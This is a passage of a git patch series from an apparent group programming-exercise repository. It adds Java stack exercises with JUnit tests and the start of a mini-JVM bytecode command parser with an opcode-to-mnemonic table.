+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStackTest.java
@@ -0,0 +1,53 @@
+package com.github.HarryHook.coding2017.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+public class QuickMinStackTest {
+    QuickMinStack stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+	stack = new QuickMinStack();
+	// 栈为空，抛出异常
+	expectedEx.expect(Exception.class);
+	stack.pop();
+
+	stack.push(5);
+	stack.push(3);
+	stack.push(2);
+	stack.push(4);
+	stack.push(1);
+	assertEquals(1, stack.findMin());
+	assertEquals(1, stack.pop());
+	assertEquals(2, stack.findMin());
+	assertEquals(4, stack.pop());
+	assertEquals(2, stack.findMin());
+	assertEquals(2, stack.pop());
+	assertEquals(3, stack.findMin());
+	assertEquals(3, stack.pop());
+	assertEquals(5, stack.findMin());
+	assertEquals(5, stack.pop());
+
+	expectedEx.expect(Exception.class);
+	stack.pop();
+
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueuesTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..87038ab3df
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,47 @@
+package com.github.HarryHook.coding2017.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+import sun.java2d.StateTrackable;
+
+public class StackWithTwoQueuesTest {
+    StackWithTwoQueues stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+	stack = new StackWithTwoQueues();
+	// 栈为空，抛出异常
+	expectedEx.expect(Exception.class);
+	stack.pop();
+
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	assertEquals(3, stack.pop());
+	stack.push(43);
+	assertEquals(43, stack.pop());
+	assertEquals(2, stack.pop());
+	assertEquals(1, stack.pop());
+
+	expectedEx.expect(Exception.class);
+	stack.pop();
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArrayTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..d37c39d156
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,79 @@
+package com.github.HarryHook.coding2017.stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+
+public class TwoStackInOneArrayTest {
+    TwoStackInOneArray stack;
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void test() {
+	stack = new TwoStackInOneArray();
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+	stack.push1(11);
+	assertEquals(11, stack.peek1());
+	assertEquals(11, stack.pop1());
+	assertEquals(6, stack.pop1());
+	stack.push1(61);
+	assertEquals(61, stack.pop1());
+	assertEquals(5, stack.pop1());
+	assertEquals(3, stack.peek1());
+	assertEquals(3, stack.pop1());
+	// 栈1为空，抛出异常
+	expectedEx.expect(Exception.class);
+	stack.pop1();
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+	stack.push2(12);
+	stack.push2(2);
+	stack.push2(8);
+
+	assertEquals(6, stack.pop1());
+	assertEquals(5, stack.peek1());
+	assertEquals(5, stack.pop1());
+	assertEquals(3, stack.pop1());
+
+	assertEquals(8, stack.pop2());
+	assertEquals(2, stack.pop2());
+	assertEquals(12, stack.pop2());
+	assertEquals(4, stack.pop2());
+	assertEquals(1, stack.pop2());
+	assertEquals(123, stack.pop2());
+	assertEquals(4, stack.pop2());
+	assertEquals(1, stack.pop2());
+	assertEquals(123, stack.pop2());
+	// 栈2为空，抛出异常
+	expectedEx.expect(Exception.class);
+	stack.pop2();
+
+    }
+
+}

From 3d8e834e6a20dfeb905c3b6c8785e832501c8c78 Mon Sep 17 00:00:00 2001
From: orajavac <oraclegit@126.com>
Date: Fri, 5 May 2017 13:40:41 +0800
Subject: [PATCH 176/262] =?UTF-8?q?20170505=5F1340=20=E6=95=B0=E6=8D=AE?=
 =?UTF-8?q?=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/QuickMinStack.java |  51 ++++++++
 .../coding2017/basic/stack/Stack.java         |  10 ++
 .../basic/stack/StackWithTwoQueues.java       |  45 +++++++
 .../basic/stack/TwoStackInOneArray.java       | 119 ++++++++++++++++++
 4 files changed, 225 insertions(+)
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/QuickMinStack.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackWithTwoQueues.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/TwoStackInOneArray.java

diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/QuickMinStack.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..8beb22287d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/QuickMinStack.java
@@ -0,0 +1,51 @@
+package com.github.orajavac.coding2017.basic.stack;
+
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	private Stack s1 = new Stack();
+	
+	private Stack s2 = new Stack();
+	
+	private int min = 0;
+	
+	public void push(int data){
+		if(s1.length() == 0){
+			s1.push(data);
+			s2.push(data);
+			min = data;
+		}else{
+			if (data <= min){
+				s2.push(data);
+				min = data;
+			}
+			s1.push(data);
+		}
+	}
+	
+	public int pop(){
+		Integer result = Integer.parseInt(s1.pop().toString());
+		if (result == min){
+			min = Integer.parseInt(s2.pop().toString());
+		}
+		return result;
+	}
+	
+	public int findMin(){
+		Integer min_ = Integer.parseInt(s2.pop().toString());
+		s2.push(min_);
+		return min_;
+	}
+	
+	//测试使用，观察栈里元素
+    public void toStrings(){
+    	System.out.println("s1 = "+s1.positiveToString());
+    	System.out.println("s2 = "+s2.positiveToString());
+    }
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
index 499b4a33e4..82b0ab9c74 100644
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
@@ -14,11 +14,17 @@ public Stack(){
 		l = new LRUPageFrame();
 	}
 	
+	//栈使用
 	public void push(Object o){
 		//l.addFirst(o);
 		l.add(o);
 	}
 	
+	//StackWithTwoQueues 使用
+	public void push1(Object o){
+		l.addFirst(o);
+	}
+	
 	public Object pop(){
 		return l.remove();
 	}
@@ -31,6 +37,10 @@ public String toString(){
 		return l.lastToString();
 	}
 	
+	public String positiveToString(){
+		return l.toString();
+	}
+	
 	public Object[] getElements(int len){
 		return l.getElements(len);
 	}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackWithTwoQueues.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..75a59c937d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,45 @@
+package com.github.orajavac.coding2017.basic.stack;
+
+
+/**
+ * （1）入栈：Q1：1，2，3，4入队列（相当于入栈）；
+ （2）出栈：Q1：1，2，3出队列，Q2：1，2，3入队列；（此时Q1只剩4，正是我们要出栈的元素）
+ （3）
+     1>入栈：Q1：5入队列（每次入栈都用Q1入队列实现，而不入队列Q2，这样会提高效率，后面会说到）
+     2>出栈：判断：如果Q1队列不为空就用（1）（2）步的方法出栈最后一个元素。否则，出栈Q2队列的最后一个元素。
+ * @author ora
+ *
+ */
+public class StackWithTwoQueues {
+	
+	private Stack q1 = new Stack();
+	
+	private Stack q2 = new Stack();
+	
+	public void push(int data) {
+		q1.push(data);
+    }
+
+    public int pop() {
+    	int len = q1.length();
+    	while(len != 1){
+    		q2.push(q1.popLow());
+    		len--;
+    	}
+    	int result = Integer.parseInt(q1.popLow().toString());
+    	
+    	//再push回去
+    	len = q2.length();
+    	while(len != 0){
+    		q1.push(q2.popLow());
+    		len--;
+    	}
+    	return result;
+    }
+    
+    //测试使用，观察栈里元素
+    public String toString(){
+    	System.out.println(q1.positiveToString());
+    	return q1.positiveToString();
+    }
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/TwoStackInOneArray.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..44629b2144
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,119 @@
+package com.github.orajavac.coding2017.basic.stack;
+
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	//栈顶指针1
+	private int front = 0;  
+	//栈顶指针2
+	private int rear = data.length-1;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		if (data[front] == null){
+			data[front] = o;
+			front++;
+		}else{
+			grow(data,10);
+			data[front] = o;
+			front++;
+		}
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		Object o = null;
+		if (front !=0 ){
+			front--;
+			o = data[front];
+			data[front] = null;
+		}else{
+			throw new RuntimeException("栈底已经没有元素了");
+		}
+		return o;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return data[front-1];
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		if (data[rear] == null){
+			data[rear] = o;
+			rear--;
+		}else{
+			grow(data,10);
+			data[rear] = o;
+			rear--;
+		}
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		Object o = null;
+		if (rear !=data.length-1 ){
+			rear++;
+			o = data[rear];
+			data[rear] = null;
+		}else{
+			throw new RuntimeException("栈底已经没有元素了");
+		}
+		return o;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return data[rear+1];
+	}
+	
+	public void grow(Object[] elementData,int size){
+		Object[] target = new Object[size+elementData.length];
+		int n = target.length;
+		int m = 0;
+		for (int i=0;i<front;i++){
+			target[i]=elementData[i];
+			m = i;	//5
+		}
+		System.out.println("m = "+m);
+		
+		for (int j=elementData.length-1;j>rear;j--){
+			n--;
+			target[n]=elementData[j];
+		}
+		n--;	//在这里 n-- m++ 是因为在 push1 push2 时候，先push进去，再++的
+		rear=n;
+		m++;
+		front=m;
+		this.data=target;
+	}
+	
+	public void iteration(){
+		for (int i=0;i<data.length;i++){
+			System.out.print(data[i]+",");
+		}
+		System.out.println();
+	}
+}

From e5ab1a891be1a6b6bb1fff7d8fed5d62d9b6608d Mon Sep 17 00:00:00 2001
From: kai <kaideguo@gmail.com>
Date: Fri, 5 May 2017 15:07:12 +0800
Subject: [PATCH 177/262] =?UTF-8?q?JVM=E7=AC=AC5=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E5=8F=8A=E7=AC=AC6=E6=AC=A1=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coderising/jvm/attr/CodeAttr.java     |  47 +++--
 .../com/coderising/jvm/clz/ClassFile.java     |  25 ++-
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  30 ++++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 152 ++++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 164 ++++++++++++++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  35 ++++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  39 +++++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  44 +++++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  86 +++++++++
 .../com/coderising/jvm/cmd/LdcCmd.java        |  50 ++++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  38 ++++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 146 ++++++++++++++++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  44 +++++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  66 +++++++
 .../coderising/jvm/constant/ClassInfo.java    |   6 +-
 .../coderising/jvm/constant/ConstantInfo.java |  13 +-
 .../coderising/jvm/constant/ConstantPool.java |   6 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   6 +-
 .../jvm/constant/MethodRefInfo.java           |  10 +-
 .../jvm/constant/NameAndTypeInfo.java         |   8 +-
 .../jvm/constant/NullConstantInfo.java        |   6 +-
 .../coderising/jvm/constant/StringInfo.java   |   8 +-
 .../com/coderising/jvm/constant/UTF8Info.java |   7 +-
 .../jvm/engine/ExecutionResult.java           |  55 ++++++
 .../coderising/jvm/engine/ExecutorEngine.java |  80 +++++++++
 .../com/coderising/jvm/engine/Heap.java       |  39 +++++
 .../com/coderising/jvm/engine/JavaObject.java |  71 ++++++++
 .../com/coderising/jvm/engine/MethodArea.java |  90 ++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    |  48 +++++
 .../com/coderising/jvm/engine/StackFrame.java | 127 ++++++++++++++
 .../jvm/loader/ClassFileLoader.java           |   5 +-
 .../com/coderising/jvm/method/Method.java     |  82 ++++++++-
 .../jvm/print/ClassFilePrinter.java           |  46 +++++
 .../jvm/print/ConstantPoolPrinter.java        |  25 +++
 .../jvm/test/ClassFileloaderTest.java         |  85 ++++++++-
 .../com/coderising/jvm/test/MiniJVMTest.java  |  29 ++++
 .../src/com/coding/basic/Queue.java           |  31 ----
 .../com/coding/basic/queue/CircleQueue.java   |  49 ++++++
 .../src/com/coding/basic/queue/Josephus.java  |  38 ++++
 .../com/coding/basic/queue/JosephusTest.java  |  27 +++
 .../src/com/coding/basic/queue/Queue.java     |  71 ++++++++
 .../basic/queue/QueueWithTwoStacks.java       |  54 ++++++
 .../com/coding/basic/stack/QuickMinStack.java |  57 ++++++
 .../basic/stack/StackWithTwoQueues.java       |  66 +++++++
 .../basic/stack/TwoStackInOneArray.java       | 134 ++++++++++++++
 .../basic/stack/expression/InfixExpr.java     |  80 +++++++++
 .../basic/stack/expression/InfixExprTest.java |  52 ++++++
 .../stack/expression/InfixToPostfix.java      |  49 ++++++
 .../basic/stack/expression/PostfixExpr.java   |  87 ++++++++++
 .../stack/expression/PostfixExprTest.java     |  42 +++++
 .../basic/stack/expression/PrefixExpr.java    |  87 ++++++++++
 .../stack/expression/PrefixExprTest.java      |  45 +++++
 .../coding/basic/stack/expression/Token.java  |  56 ++++++
 .../basic/stack/expression/TokenParser.java   |  57 ++++++
 .../stack/expression/TokenParserTest.java     |  40 +++++
 56 files changed, 2891 insertions(+), 76 deletions(-)
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/Heap.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/engine/StackFrame.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
 delete mode 100644 group06/1378560653/src/com/coding/basic/Queue.java
 create mode 100644 group06/1378560653/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group06/1378560653/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group06/1378560653/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group06/1378560653/src/com/coding/basic/queue/Queue.java
 create mode 100644 group06/1378560653/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/TwoStackInOneArray.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/InfixExpr.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/InfixExprTest.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/InfixToPostfix.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/PostfixExpr.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/PostfixExprTest.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/PrefixExpr.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/PrefixExprTest.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/Token.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/TokenParser.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expression/TokenParserTest.java

diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
index f9292d0dcb..4580b092ea 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
@@ -1,6 +1,8 @@
 package com.coderising.jvm.attr;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -14,21 +16,21 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -39,12 +41,6 @@ public void setLocalVariableTable(LocalVariableTable t) {
 		this.localVarTable = t;		
 	}
 	
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		int attrNameIndex = iter.nextU2ToInt();
@@ -53,13 +49,12 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxLocals = iter.nextU2ToInt();
 		int codeLen = iter.nextU4ToInt();
 		
-		String code = iter.nextUxToHexString(codeLen);
+		String code = iter.nextUxToHexString(codeLen);		
 		
-		System.out.println(code);
 		
-		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile,code);
 		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code,cmds);
 		
 		int exceptionTableLen = iter.nextU2ToInt();
 		//TODO 处理exception
@@ -69,6 +64,7 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 			
 		}
 		
+		
 		int subAttrCount = iter.nextU2ToInt();
 		
 		for(int x=1; x<=subAttrCount; x++){
@@ -104,18 +100,17 @@ else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
 
 	public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
-		buffer.append("Code:").append(code).append("\n");
-		/*for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}*/
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString()).append("\n");
+		}
 		buffer.append("\n");
 		buffer.append(this.lineNumTable.toString());
 		buffer.append(this.localVarTable.toString(pool));
 		return buffer.toString();
 	}
-	
-	
-	
-	
-	
-}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}	
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
index eb17998c52..d1cc66cd0c 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
@@ -13,9 +13,9 @@ public class ClassFile {
 	private int minorVersion;
 	private int majorVersion;
 	
-	private ConstantPool pool;
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
+	private ConstantPool pool;
 	private List<Field> fields = new ArrayList<Field>();
 	private List<Method> methods = new ArrayList<Method>();
 	
@@ -80,13 +80,32 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		for(Method m :methods){
+			
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+			
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		return getMethod("main","([Ljava/lang/String;)V");
+	}
 }
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..e7c3dcaec8
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..6b8f2e6348
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,152 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
